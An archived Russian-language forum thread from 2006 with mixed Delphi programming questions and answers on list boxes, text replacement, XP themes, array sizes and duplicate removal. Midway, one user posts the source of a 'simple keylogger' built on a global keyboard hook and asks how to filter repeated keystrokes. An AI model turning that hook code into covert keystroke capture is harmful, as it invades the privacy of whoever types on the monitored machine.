Ru-Board.club
← Вернуться в раздел «Прикладное программирование»

» Вопросы по Delphi 2

Автор: SERGE_BLIZNUK
Дата сообщения: 15.07.2006 13:33
subway1985

ребята... но читайте доки, они же РУЛЕЗ....


Цитата:
на форме есть два Edit'а и один ListBox и кнопка, как
сделать чтобы к примеру в 1ом Edit'е было число 1, а
во втором к примеру 8, то нажав на кнопку в Listbox'е


Код:
procedure TForm1.Button1Click(Sender: TObject);
var i : integer;
begin
// нужно добавить проверки, что в Edit1, 2 именно цифры
for I:=StrToInt(Edit1.Text)
to StrToInt(Edit2.Text) do
ListBox1.Items.Add(IntToStr(i))
end;
Автор: Ramazan
Дата сообщения: 16.07.2006 09:29
OOD
Pos возвращает позицию первого вхождения искомой строки в строке, поэтому вместо

Цитата:
a := Pos('?session=',memo1.Text);

нужно a := Pos('?session=',memo1.Text) + Length('?session=');
Если много строк, тогда
a := Pos('?session=',memo1.Lines[i]) + Length('?session=');
где i - номер строки. А если хочешь сделать поиск по маске, тогда читать про регулярные выражения

Добавлено:
vserd
Сорри, не заметил твой ответ
Автор: OOD
Дата сообщения: 16.07.2006 19:12
Ramazan
Да спасибо , попробовал я POS,PosEx всё очень по корявому

Основная проблема в том, что у меня есть определенный текст Html страничька, мне нужно с неё повыкидывать всё не нужнно например кучу тегов, ненужного языка разметки страницы и.т.д. и оставить только то, что нужно, вначале просматриваю страницу через webbrowser потом помещаю код страницы в memo .
теперь нужно удалить всё не нужное, пытался всё засунуть в одну переменную и оттуда циклом удалять уж очень каряво, пытался приведенным Вами кодом удалять и заменять слова на пустые значение , тоже как-то не так

Сейчас пробую компоненть RichEdit , в нем есть замечательная функция по смене слов , а именно:
Search_And_Replace(Richedit1, 'старый текст', 'Новый текст');

Всё вроде работает, но сталкнулся с такой проблем, что , когда вставляю даные в мемо руками, т.е. Пишу допустим "Старый текст" , то вё работает, он моментально меняется на нужное мне слово....

Но когда данные выдергиваются в мемо динамически , а из мемо в RichEdit, тогда не происходит замены слов, или же она происходит, но ,если слова на латыни

Как можно заменять русские слова в данной ситуации, и как можно упростить замену слов?!не писать же кучу заменялок типо:
Search_And_Replace(Richedit1, 'старый текст', 'Новый текст');
Search_And_Replace(Richedit1, 'старый текст1', 'Новый текст2');
.......

Может быть это можно как-то проще организовать!



Автор: Jokerjar
Дата сообщения: 16.07.2006 19:50
OOD, можешь попробовать с массивами. Создай 2 массива - в одном старые значения, во втором новые. Ну и цикл

Код: for i := 1 to {Размер массивов}
Search_And_Replace(Richedit1, старый текст[i], Новый текст[i]);
Автор: ilyt
Дата сообщения: 17.07.2006 03:40
Проблема с xp manifest.
------------------------------------------
1. Кинул на форму ради пробы xp manifest.
2. Вид компонентов изменился соответственно.
3. Не понравилось.
4. Удалил Xp Manifest.
5. Вид компонентов не изменился.
------------------------------------------
И как теперь вернуться к старому виду?
Поможет кто подскажет...
Автор: Jokerjar
Дата сообщения: 17.07.2006 06:04
ilyt, удали в uses XPMan
Автор: ilyt
Дата сообщения: 17.07.2006 06:31
Jokerjar
Удалил спасибо
Автор: Ramazan
Дата сообщения: 17.07.2006 06:40
OOD
В стандартном модуле StrUtils есть функция замены строк:

Цитата:

{ AnsiReplaceText will replace all occurrences of a substring, without
case-sensitivity, with another substring (recursion substring replacement
is not supported) }

function AnsiReplaceText(const AText, AFromText, AToText: string): string;

т.е. для замены нет необъодимости использовать RichEdit.
Если развить идею Jokerjar, то можно использовать для этого TStringList, заполняемый из ini-файла вида

Цитата:

[Параметры замены]
Старое значение1=Новое значение1
Старое значение2=Новое значение2
...

[more=примерно таким способом]
var
ReplaceStrs: TStringList;
i: Integer;
...
ReplaceStrs := TStringList.Create;
try
with TIniFile.Create('Settings.ini') do
begin
ReadSectionValues('Параметры замены', ReplaceStrs);
Free;
end;
// Предполагается, что в Мемо1 лежит html-код, подлежащий замене
for i := 0 to ReplaceStrs.Count - 1 do
AnsiReplaceText(Memo1.Text, ReplaceStrs.Names[i], ReplaceStrs.ValueFromIndex[i]);
finally
ReplaceStrs.Free;
end;
[/more]
А если смотреть шире, то существует множество парсеров html-кода, можно выбрать и адаптировать для твоих нужд. Сам подсказать не могу, т.к. не работаю с html, но может Google
Автор: Kr_Alex
Дата сообщения: 17.07.2006 14:02
Iamer
Советую почитать М.Кенту (М.Кэнту)
Автор: Iamer
Дата сообщения: 17.07.2006 15:02
vserd

Цитата:
Народ рекомендует Архангельского

Да, уже чтю! Вроде ничего....
Kr_Alex

Цитата:
Советую почитать М.Кенту (М.Кэнту)

Спасибо посмотрим.



Автор: ghost3k
Дата сообщения: 17.07.2006 16:30
Люди! Что то я не врублюсь, как в BDS 2006 (VCL Form) открыть URL, страничку тоесть?
В хелпе по словам open, get, URL, WEB - что то явно не то что мне надо...
Если не сложно, процедуру для "батона" чирканите плиз?
Спасибо.
Автор: KRS545
Дата сообщения: 17.07.2006 18:18
WebBrowser1.Navigate('www.ya.ru');
не оно?
Автор: ghost3k
Дата сообщения: 17.07.2006 19:40
KRS545
Не совсем.
Вот что надо было -

ShellExecute(handle,'open','http://ya.ru',nil,nil,SW_SHOW);
Автор: subway1985
Дата сообщения: 18.07.2006 11:22
Тут возник такой вопрос можно ли совместить Дельфи и ICQ, точнее есть ли какой-нибудь для этого компонент, только не предлагать компонент от Кобана, так как со сменой протокола аськи он уже устарел...
Автор: ShadowMen
Дата сообщения: 19.07.2006 07:54
Требуется сохранить динамический массив в MemoryStream. Как узнать размер массива
SizeOf возвращает не то что надо.
Автор: Jokerjar
Дата сообщения: 19.07.2006 07:59
ShadowMen, для динамического массива используй high


Добавлено:
Кто-нибудь писал глобальную клавиатурную ловушку (wh_keyboard)? Столкнулся с такой проблемой - в некоторых приложениях (например, Word) при нажатии на одну клавишу (отлавливаю только keydown, keyup отсеиваю) регистрируется несколько сообзщений (обычно - 6). В итоге программа-кеулоггер выдает примерно такое: "ппппппррррррииииииввввввеееееттттт". Кто сталкивался с такой проблемой и как ее решить, отсеять ненужные сообщения (и определить, что они ненужные). [more=Исходник простого кейлоггера на Delphi]library Hook;

uses Windows, SysUtils;

var CurrentHook: HHook;

function GlobalKeyBoardHook(code: integer; wParam: integer; lParam:
integer): longword; stdcall;
var
i:integer;
begin
if code< 0 then
begin
result:=CallNextHookEx(CurrentHook,code,wParam,lparam);
Exit;
end;
if ((lParam and KF_UP)=0) and (wParam>=0) and (wParam<=255) and (lParam and $40000000 = 0) then //Видимо, в это условие надо еще что-то добавить...
begin
showmessage(char(wParam));
end;
CallNextHookEx(CurrentHook,code,wParam,lparam);
result:=0;
end;

procedure SetupGlobalKeyBoardHook;
begin
CurrentHook:=SetWindowsHookEx(WH_KEYBOARD, @GlobalKeyBoardHook,HInstance, 0);
KeyArrayptr:=0;
end;

procedure unhook;
begin
UnhookWindowshookEx(CurrentHook);
end;

exports
SetupGlobalKeyBoardHook, UnHook;
begin
end.[/more].
Автор: RomanTim
Дата сообщения: 19.07.2006 08:17
ShadowMen
Jokerjar
High наверное тоже можно, но вообще то для динамических массивов и строк существует функция Length(). High возвращает номер последнего элемента, а для динамического массива это число элементов -1
Автор: Kaylang
Дата сообщения: 19.07.2006 10:40
Добрый день!
Кто-нибудь пытался подружить Дельфи с DB2 на AS/400?

Соединяюсь по ADO, в момент обращения к таблице получаю ошибку: SQL0254: имя_таблицы тип *FILE не найден.
Ошибку также получаю, когда в ADOTable после выбора файла в поле TableName пытаюсь в свойстве Active установить значение true.
Автор: ShadowMen
Дата сообщения: 19.07.2006 11:11
RomanTim
Кол-во записей можно узнать через Length, а мне нужно узнать сколько массив занимает в памяти.
Автор: RomanTim
Дата сообщения: 19.07.2006 12:52
ShadowMen
Умножь количество элементов массива на размер элемента - получишь размер данных

Код: arr: array of MyDataType;
size := Length(arr) * SizeOf(MyDataType);
Автор: ShadowMen
Дата сообщения: 19.07.2006 13:33
RomanTim
Спасибо, помогло. Теперь все работает..
Автор: Jokerjar
Дата сообщения: 20.07.2006 15:20
Может все-таки кто-то подскажет, из-за чего в программах из Microsoft Office происходит дублирование клавиш у кейлоггеров, написанных на Delphi? Исходник кейлоггера можете найти выше

Добавлено:
С этим вопросом уже сам разобрался.

Но теперь появился еще один: как можно отключить стандартный popup у едита (там где копировать, вставить и т.д.)
Автор: RomanTim
Дата сообщения: 20.07.2006 21:18
Jokerjar

Цитата:
как можно отключить стандартный popup у едита (там где копировать, вставить и т.д.)

Довольно корявенько - возможно есть более симпатичные варианты, но работает: кинь на форму попап-менюшку, назначь ее твоему едиту, а в обработчике события OnPopup поставь Abort
Автор: Jokerjar
Дата сообщения: 21.07.2006 05:45
RomanTim, спасибо. Решил почти как ты подсказал:

Код: var
PsevdoPopup: TPopupMenu;
.....................................
PsevdoPopup := TPopupMenu.Create(nil);
Edit1.PopupMenu := PsevdoPopup;
Автор: Dennica
Дата сообщения: 21.07.2006 06:18
В D2006 у меня слетел весь хэлп. Открываеш его а там в Contents просто пустота. Блин, незнаю как его чинить, в хэлпах всегда у меня был пробел =\ Переустановка bds repair не помогла. Если кто-нибудь знает что нужно подкрутить подскажите.
p.s. Я так думаю слетел он из-за установки vs2005, а может и нет =\.
Автор: ArtemiyUO
Дата сообщения: 21.07.2006 14:00
Поищи на форумах эта тема часто поднимается.
Тут глянь
http://sql.ru/forum/actualthread.aspx?tid=256918
Так же гуглом, на сайте борланда вроде есть рецепт.
Автор: xitsmex
Дата сообщения: 22.07.2006 09:43
Здравствуй, ALL!

Имеется следующая проблема: кладем на форму Edit, задаем FONT -> CHARSET -> GREEK_CHARSET. Теперь мы не можем ввести ничего кроме как на греческом чарсете, нажимание клавиатуры в русской раскладке так же вводит греческие буквы, согласен, мы же не в UNICODE, именно это поведение мне и нужно. Теперь кладем на форум милый компонент XPManifest, заменив тем самым библиотеку работы с компонентам и обнаруживаем, что текст можно вводить в Edit на РАЗНЫХ языках и в РАЗНЫХ чарсетах, но вот при преобразовании его в Tedit.text, имеющий тип string из типа WideString внутри windows используется кодовая страница языка, выбранного в региональных настройках как язык для non-unicode программ, соответственно, вместо греческого получаем ??. (Например, присваивая label1.caption := Edit1.text.) Ситуация усложняется тем, что это не обычный Edit, а cxInnerTextEdit от DevExpress, находящийся внутри cxTextEdit и VeticalGrid. Данную проблему (с вводом греческого языка, да, кстати, проблема состоит в том, чтобы ракзрешить пользователю набирать только на одном языке, а потом получить этот текст не ввиде вопросов, можно в ввиде UNICODE) я решил, унаследовав cxInnerTextEdit от TnTCustomEdit (TnTWare Delphi UNICODE Controls), а точнее - от его производного класса, который теперь служит преобразователем задание текста в ANSI -> конвертация в UNICODE -> ввод текста в UNICODE -> конвертация в ANSI. Но обнаружилось, что так же надо сделать и для Memo с его TMemoString и для некоторых других компонентов. Хотелось бы узнать вот что:
1. Можно ли вытащить UNICODE текст из этого нового Edit? SendMessageW не помогает, длину Result ставит нормальную, а пишет туда бред. Windows, несмотря на явную UNICOD`ность окна, на IsWindowUnicode возвращает false. А то решение с преобразованием вовсе не эстетично.
2. Может, кто-то прикручивал к DevExpress хоть немножео UNICODE?
Автор: subway1985
Дата сообщения: 22.07.2006 13:01
Тут вопрос возник ситуация вообщем такая есть ListBox
к примеру там есть числа 1,2,3,4,5,1,6,2,7,8,1 и есть обычная кнопка
как сделать следующее нажав на кнопку убрать повторяющиеся числа
и получилось бы следующее 1,2,3,4,5,6,7,8.
Автор: Vetal303
Дата сообщения: 22.07.2006 15:22
subway1985

Код: var i,j:Integer;
begin
for j := 0 to ComboBox1.Items.Count-1 do
for i:= j+1 to ComboBox1.Items.Count-1 do
if ComboBox1.Items[j]=ComboBox1.Items[i] then ComboBox1.Items.Delete(i);
end;
Автор: RomanTim
Дата сообщения: 22.07.2006 17:59
subway1985
Vetal303
С таким алгоритмом будет "List index out of bounds" - граница для for вычисляется только при входе в цикл, и после хотя бы одного Delete ты выйдешь за границы списка.
Лучше делать через while (вместо lst подставишь ListBox.Items): [more]
i := 0;
while i < lst.Count - 1 do begin
j := i + 1;
while j < lst.Count do begin
if lst[i] = lst[j] then
lst.Delete(j)
else
Inc(j);
end;
Inc(i);
end;[/more]

Страницы: 12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667

Предыдущая тема: Событие STFilter(DBGridEh) ???


Форум Ru-Board.club — поднят 15-09-2016 числа. Цель - сохранить наследие старого Ru-Board, истории становления российского интернета. Сделано для людей.